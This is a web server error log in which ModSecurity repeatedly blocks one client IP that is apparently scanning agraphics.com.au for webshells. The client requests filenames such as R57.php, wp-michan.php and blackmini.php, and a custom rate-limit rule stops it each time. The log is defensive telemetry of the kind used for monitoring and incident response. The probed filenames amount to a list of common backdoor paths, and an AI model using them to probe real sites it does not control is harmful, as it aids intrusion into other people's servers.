[Thu Feb 26 10:18:48.352577 2026] [:error] [pid 55122:tid 55133] [client 20.100.197.204:7600] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/page.php"] [unique_id "aZ-tiILiR0OfjFxvcN-ORgAAAMk"]
[Thu Feb 26 10:18:48.964847 2026] [:error] [pid 25311:tid 25317] [client 20.100.197.204:49944] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/page.php"] [unique_id "aZ-tiNfdM__yZAgJFSs08wAAAYM"]
[Thu Feb 26 10:18:49.555916 2026] [:error] [pid 25311:tid 25320] [client 20.100.197.204:46729] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/page.php"] [unique_id "aZ-tidfdM__yZAgJFSs09QAAAYY"]
[Thu Feb 26 10:18:50.312858 2026] [:error] [pid 25311:tid 25315] [client 20.100.197.204:46768] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/page.php"] [unique_id "aZ-titfdM__yZAgJFSs09wAAAYE"]
[Thu Feb 26 10:18:51.082077 2026] [:error] [pid 25311:tid 25330] [client 20.100.197.204:50434] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin1.php"] [unique_id "aZ-ti9fdM__yZAgJFSs0-wAAAZA"]
[Thu Feb 26 10:18:52.075796 2026] [:error] [pid 25311:tid 25320] [client 20.100.197.204:55079] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin1.php"] [unique_id "aZ-tjNfdM__yZAgJFSs0_wAAAYY"]
[Thu Feb 26 10:18:52.887913 2026] [:error] [pid 3883:tid 3895] [client 20.100.197.204:55053] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin1.php"] [unique_id "aZ-tjOA33x90V6yYHajy9gAAAUk"]
[Thu Feb 26 10:18:53.805540 2026] [proxy_fcgi:error] [pid 25311:tid 25320] [client 20.100.197.204:32679] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:18:55.756274 2026] [proxy_fcgi:error] [pid 25311:tid 25330] [client 20.100.197.204:32679] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:18:56.030745 2026] [proxy_fcgi:error] [pid 25311:tid 25338] [client 20.100.197.204:32679] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:18:56.301852 2026] [proxy_fcgi:error] [pid 25311:tid 25328] [client 20.100.197.204:32679] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:18:56.576087 2026] [proxy_fcgi:error] [pid 25311:tid 25336] [client 20.100.197.204:32679] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:18:56.841827 2026] [:error] [pid 25311:tid 25325] [client 20.100.197.204:32679] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x123x.php"] [unique_id "aZ-tkNfdM__yZAgJFSs1FQAAAYs"]
[Thu Feb 26 10:18:58.283835 2026] [:error] [pid 25311:tid 25319] [client 20.100.197.204:55487] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x123x.php"] [unique_id "aZ-tktfdM__yZAgJFSs1GQAAAYU"]
[Thu Feb 26 10:18:59.078302 2026] [:error] [pid 3883:tid 3888] [client 20.100.197.204:44877] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x123x.php"] [unique_id "aZ-tk-A33x90V6yYHajzEQAAAUI"]
[Thu Feb 26 10:19:00.062782 2026] [:error] [pid 55122:tid 55131] [client 20.100.197.204:56232] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x123x.php"] [unique_id "aZ-tlILiR0OfjFxvcN-OSQAAAMc"]
[Thu Feb 26 10:19:01.239055 2026] [:error] [pid 25311:tid 25326] [client 20.100.197.204:32650] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-michan.php"] [unique_id "aZ-tldfdM__yZAgJFSs1HgAAAYw"]
[Thu Feb 26 10:19:02.059133 2026] [:error] [pid 25311:tid 25327] [client 20.100.197.204:52876] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-michan.php"] [unique_id "aZ-tltfdM__yZAgJFSs1HwAAAY0"]
[Thu Feb 26 10:19:03.565865 2026] [:error] [pid 3883:tid 3890] [client 20.100.197.204:50450] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-michan.php"] [unique_id "aZ-tl-A33x90V6yYHajzGQAAAUQ"]
[Thu Feb 26 10:19:04.763947 2026] [:error] [pid 25311:tid 25336] [client 20.100.197.204:44913] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-michan.php"] [unique_id "aZ-tmNfdM__yZAgJFSs1IwAAAZY"]
[Thu Feb 26 10:19:06.717920 2026] [:error] [pid 25311:tid 25325] [client 20.100.197.204:36630] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw2.php"] [unique_id "aZ-tmtfdM__yZAgJFSs1JQAAAYs"]
[Thu Feb 26 10:19:07.627781 2026] [:error] [pid 55618:tid 55644] [client 20.100.197.204:40651] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw2.php"] [unique_id "aZ-tmx61Vrh12f_8oWQtBQAAARc"]
[Thu Feb 26 10:19:09.621515 2026] [:error] [pid 25311:tid 25338] [client 20.100.197.204:44907] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw2.php"] [unique_id "aZ-tndfdM__yZAgJFSs1LwAAAZg"]
[Thu Feb 26 10:19:11.496268 2026] [:error] [pid 55618:tid 55643] [client 20.100.197.204:52919] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw2.php"] [unique_id "aZ-tnx61Vrh12f_8oWQtEAAAARY"]
[Thu Feb 26 10:19:12.831897 2026] [:error] [pid 55122:tid 55124] [client 20.100.197.204:50470] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blackmini.php"] [unique_id "aZ-toILiR0OfjFxvcN-OUgAAAMA"]
[Thu Feb 26 10:19:14.590292 2026] [:error] [pid 54991:tid 55043] [client 20.100.197.204:53257] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blackmini.php"] [unique_id "aZ-tot4Zx-mJ8gbRB2hv-wAAAFc"]
[Thu Feb 26 10:19:16.083546 2026] [:error] [pid 55051:tid 55070] [client 20.100.197.204:7609] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blackmini.php"] [unique_id "aZ-tpAmK1w2kZvh5eLG8ugAAAJA"]
[Thu Feb 26 10:19:17.138760 2026] [:error] [pid 25311:tid 25335] [client 20.100.197.204:7601] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blackmini.php"] [unique_id "aZ-tpdfdM__yZAgJFSs1QQAAAZU"]
[Thu Feb 26 10:19:17.922617 2026] [:error] [pid 25311:tid 25333] [client 20.100.197.204:59094] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gssdd.php"] [unique_id "aZ-tpdfdM__yZAgJFSs1RwAAAZM"]
[Thu Feb 26 10:19:19.080819 2026] [:error] [pid 25311:tid 25331] [client 20.100.197.204:56979] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gssdd.php"] [unique_id "aZ-tp9fdM__yZAgJFSs1TAAAAZE"]
[Thu Feb 26 10:19:20.702565 2026] [:error] [pid 25311:tid 25316] [client 20.100.197.204:56211] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gssdd.php"] [unique_id "aZ-tqNfdM__yZAgJFSs1WAAAAYI"]
[Thu Feb 26 10:19:21.974329 2026] [:error] [pid 25311:tid 25329] [client 20.100.197.204:50442] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gssdd.php"] [unique_id "aZ-tqdfdM__yZAgJFSs1ZgAAAY8"]
[Thu Feb 26 10:19:22.886262 2026] [:error] [pid 25311:tid 25331] [client 20.100.197.204:36647] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/F19.php"] [unique_id "aZ-tqtfdM__yZAgJFSs1awAAAZE"]
[Thu Feb 26 10:19:24.084089 2026] [:error] [pid 55618:tid 55639] [client 20.100.197.204:49304] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/F19.php"] [unique_id "aZ-trB61Vrh12f_8oWQtJwAAARI"]
[Thu Feb 26 10:19:25.434696 2026] [:error] [pid 25311:tid 25315] [client 20.100.197.204:53248] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/F19.php"] [unique_id "aZ-trdfdM__yZAgJFSs1cAAAAYE"]
[Thu Feb 26 10:19:26.137346 2026] [:error] [pid 25311:tid 25336] [client 20.100.197.204:44894] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/F19.php"] [unique_id "aZ-trtfdM__yZAgJFSs1dAAAAZY"]
[Thu Feb 26 10:19:27.016621 2026] [:error] [pid 25311:tid 25322] [client 20.100.197.204:56225] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/F1.php"] [unique_id "aZ-tr9fdM__yZAgJFSs1eQAAAYg"]
[Thu Feb 26 10:19:27.994246 2026] [:error] [pid 3883:tid 3901] [client 20.100.197.204:7592] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/F1.php"] [unique_id "aZ-tr-A33x90V6yYHajzXgAAAU8"]
[Thu Feb 26 10:19:29.162344 2026] [:error] [pid 55618:tid 55621] [client 20.100.197.204:53933] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/F1.php"] [unique_id "aZ-tsR61Vrh12f_8oWQtKQAAAQA"]
[Thu Feb 26 10:19:31.007916 2026] [:error] [pid 25311:tid 25335] [client 20.100.197.204:40648] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/F1.php"] [unique_id "aZ-ts9fdM__yZAgJFSs1gAAAAZU"]
[Thu Feb 26 10:19:31.635714 2026] [:error] [pid 55618:tid 55644] [client 20.100.197.204:33962] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aZ-tsx61Vrh12f_8oWQtLwAAARc"]
[Thu Feb 26 10:19:32.536472 2026] [:error] [pid 55618:tid 55636] [client 20.100.197.204:47757] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aZ-ttB61Vrh12f_8oWQtMAAAAQ8"]
[Thu Feb 26 10:19:33.419197 2026] [:error] [pid 54990:tid 55001] [client 20.100.197.204:47758] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aZ-ttXtr2qmt_mBhH2zHKwAAAAg"]
[Thu Feb 26 10:19:34.217604 2026] [:error] [pid 55122:tid 55140] [client 20.100.197.204:53927] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aZ-ttoLiR0OfjFxvcN-OWwAAANA"]
[Thu Feb 26 10:19:35.119597 2026] [:error] [pid 25311:tid 25319] [client 20.100.197.204:50611] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/R57.php"] [unique_id "aZ-tt9fdM__yZAgJFSs1hgAAAYU"]
[Thu Feb 26 10:19:36.057572 2026] [:error] [pid 3883:tid 3909] [client 20.100.197.204:49313] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/R57.php"] [unique_id "aZ-tuOA33x90V6yYHajzcwAAAVc"]
[Thu Feb 26 10:19:36.711836 2026] [:error] [pid 25311:tid 25333] [client 20.100.197.204:40684] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/R57.php"] [unique_id "aZ-tuNfdM__yZAgJFSs1iAAAAZM"]
[Thu Feb 26 10:19:37.543362 2026] [:error] [pid 25311:tid 25335] [client 20.100.197.204:47794] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/R57.php"] [unique_id "aZ-tudfdM__yZAgJFSs1igAAAZU"]
[Thu Feb 26 10:19:38.546927 2026] [:error] [pid 25311:tid 25316] [client 20.100.197.204:59100] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4h.php"] [unique_id "aZ-tutfdM__yZAgJFSs1jgAAAYI"]
[Thu Feb 26 10:19:39.527162 2026] [:error] [pid 3883:tid 3897] [client 20.100.197.204:53275] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4h.php"] [unique_id "aZ-tu-A33x90V6yYHajzeQAAAUs"]
[Thu Feb 26 10:19:41.378577 2026] [:error] [pid 3883:tid 3889] [client 20.100.197.204:40649] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4h.php"] [unique_id "aZ-tveA33x90V6yYHajzkQAAAUM"]
[Thu Feb 26 10:19:42.768921 2026] [:error] [pid 25311:tid 25318] [client 20.100.197.204:27900] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4h.php"] [unique_id "aZ-tvtfdM__yZAgJFSs1wgAAAYQ"]
[Thu Feb 26 10:19:43.557364 2026] [:error] [pid 55122:tid 55135] [client 20.100.197.204:33969] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yussef.php"] [unique_id "aZ-tv4LiR0OfjFxvcN-OYQAAAMs"]
[Thu Feb 26 10:19:44.551516 2026] [:error] [pid 25311:tid 25334] [client 20.100.197.204:40689] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yussef.php"] [unique_id "aZ-twNfdM__yZAgJFSs11wAAAZQ"]
[Thu Feb 26 10:19:45.936631 2026] [:error] [pid 54991:tid 55039] [client 20.100.197.204:33959] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yussef.php"] [unique_id "aZ-twd4Zx-mJ8gbRB2hwAAAAAFM"]
[Thu Feb 26 10:19:47.301820 2026] [:error] [pid 3883:tid 3888] [client 20.100.197.204:33968] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yussef.php"] [unique_id "aZ-tw-A33x90V6yYHajzqAAAAUI"]
[Thu Feb 26 10:19:48.063651 2026] [:error] [pid 54990:tid 55009] [client 20.100.197.204:40674] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "aZ-txHtr2qmt_mBhH2zHNgAAABA"]
[Thu Feb 26 10:19:49.087230 2026] [:error] [pid 55122:tid 55137] [client 20.100.197.204:49334] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "aZ-txYLiR0OfjFxvcN-OZAAAAM0"]
[Thu Feb 26 10:19:50.228681 2026] [:error] [pid 55051:tid 55066] [client 20.100.197.204:53931] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "aZ-txgmK1w2kZvh5eLG8xwAAAIw"]
[Thu Feb 26 10:19:51.237647 2026] [:error] [pid 55051:tid 55055] [client 20.100.197.204:59363] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "aZ-txwmK1w2kZvh5eLG8yAAAAIE"]
